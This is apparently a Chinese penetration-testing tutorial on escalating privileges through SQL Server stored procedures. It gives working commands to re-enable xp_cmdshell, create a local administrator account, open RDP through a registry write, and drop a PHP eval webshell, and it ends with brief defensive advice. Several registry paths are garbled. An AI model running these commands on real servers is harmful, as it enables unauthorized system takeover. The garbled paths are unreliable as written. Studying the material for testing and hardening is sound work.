zoukankan      html  css  js  c++  java
  • SQL Sever提权

    前言:渗透测试中提权是较为重要的环节,若以低权限身份进行后渗透,测试出的问题相对于高权限的质量会低很多,从一个普通用户,通过手段让自己变为管理员,也可利用操作系统或者应用程序中的错误,设计缺陷或者配置错误来获取最高权限;

    提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。

    Windows:User >> System
    Linux:User >> Root

    提权方式

    1、系统漏洞提权(Linux、windows)
    2、数据库提权
    3、系统配置错误提权
    4、权限继承类提权
    5、第三方软件提权
    6、websever漏洞提权

    系统库

    image

    存储过程

    一、介绍
    存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL(SQL语言版本之一,只能在SQLserver使用)语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

    二、分类
    系统存储过程、扩展存储过程、用户自定义的存储过程。

    1. 系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
    2. 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似;
    3. 用户定义的存储过程是SQLServer的使用者编写的存储过程;

    三、执行
    存储过程为数据库提供了强大的功能,但在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如:创建数据库用户、枚举文件目录、执行任意系统命令等。正因如此,SQLserver2005、2008等之后的版本分别对存储过程做了权限控制,以防滥用。
    以下提权方式多为利用存储过程进行提权,想要查看数据库中是否有对应的存储过程,可以用下面的语句,若返回结果为1,则说明已开启。
    select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';
    image

    xp_cmdshell扩展存储过程提权

    扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令,直接用SQL语句实现cmd操作,危害非常大。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure(显示或更改当前服务器的全局配置设置)将其开启。
    SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority etwork service。

    前提条件:
    1、已获取到 sqlsever sysadmin权限用户的账号和密码;
    2、SQL sever服务未降权;
    3、SQL sever可以外连;

    执行系统命令添加管理员账号提权

    1、连接SQL sever数据库,检查xp_cmdshell是否开启
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
    # xtype为对象类型,xtype='x'表示xp_cmdshell的对象类型为扩展存储过程

    image
    • 如果xp_cmdshell被删除,可以使用以下命令重新加载。
    dbcc addextendedproc("xp_cmdshell","xplog70.dll");
    • 如果连xplog70.dll文件都被被删除,可以上传xplog70.dll进行恢复
    exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll';

    2.启用xp_cmdshell扩展存储过程
    exec sp_configure 'show advanced options',1;

    # 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。

    reconfigure;

    /# reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。

    exec sp_configure 'xp_cmdshell',1;

    reconfigure;
    image
    3.查看权限
    通过xp_cmdshell执行系统命令whoami,查看当前权限。
    exec xp_cmdshell "whoami";
    image
    4.提权
    exec xp_cmdshell "net user dudu dudu/add"
    exec xp_cmdshell "net localgroup administrators dudu /add"
    exec xp_cmdshell "net user dudu"

    5.查看3389状态
    exec master.dbo.xp_cmdshell 'netstat -ano';

    image
    这块儿可能会发现3389是没开的;

    1. 若目标主机未开启3389端口,可以使用以下命令开启。
      /# 使用写入注册表方式开启
      exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;

      exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"
      exec xp_cmdshell 'netstat -ano';

    这里有趣的是执行完,你还是看不见3389端口,真有趣;
    image
    管理员把3389改为3300了

    7、提权恢复
    • 关闭3389端口
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',1;
    • 关闭xp_cmdshell扩展存储过程
    exec sp_configure 'xp_cmdshell',0;
    reconfigure;
    exec sp_configure 'show advanced options',0;
    reconfigure;

    写入文件提权

    也可以用echo命令写入webshell到web目录,再使用菜刀或者蚁剑等工具连接shell这种方式进行提权。此方法中写入webshell不难,但获取绝对路径需要费些事儿。
    其中一种办法可以使用cmd命令进行搜索文件、xp_dirtree、xp_subdirs等方式获取绝对路径。
    execute xp_dirtree 'c:' # 列出所有c:文件、目录、子目录
    execute xp_dirtree 'c:',1 # 只列c:目录
    execute xp_dirtree 'c:',1,1 # 列c:目录、文件
    exec xp_cmdshell "echo '^<?php @eval($_POST[123]);?^>' >c:2.php" # 写木马

    三、防御
    在确定不需要的情况下,删除:xp_cmdshell、xp_dirtree、xp_regread、xp_regdeletekey、xp_regdeletevalue、xp_regwrite、sp_oacreate、sp_oadestroy、sp_oagetErrorInfo、sp_oagetProperty、sp_oamethod、sp_oasetProperty、sp_oastop这些存储过程,移走相关的动态连接库文件,在需要的时候复制到原来的位置即可。
    应用程序和网站在与后台的Microsoft SQLServer数据库连接时不要用SA等高权限的用户连接。
    给SA等高权限的用户设置强密码。

    sp_oacreate(无回显)

    如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。

    沙盒提权

    • 当执行命令方法无法使用时,可以使用沙盒进行提权。沙盒模式(SandBoxMode)是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
    • OLE DB
    OLE DB Driver for SQL Server 是用于访问数据的底层 COM API,是应用程序链接到SQL Server的的驱动程序。
    • 其核心其实是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

  • 相关阅读:
    机器学习-好讲解
    caffe-BN层
    所有子文件夹中图片个数matlab代码实现
    17.5.11 自己领悟
    ubuntu16.04初始安装+无gpu+caffe+python2+opencv2+matlab2016+tensorflow
    No module named caffe
    Ubuntu14.04_64位使用过程
    Ubuntu14 sudo apt-get install apt-show-versions出错
    Active MQ 传输 ObjectMessage 异常
    spring 在静态工具类中使用注解注入bean
  • 原文地址:https://www.cnblogs.com/SnowSec/p/14917112.html
Copyright © 2011-2022 走看看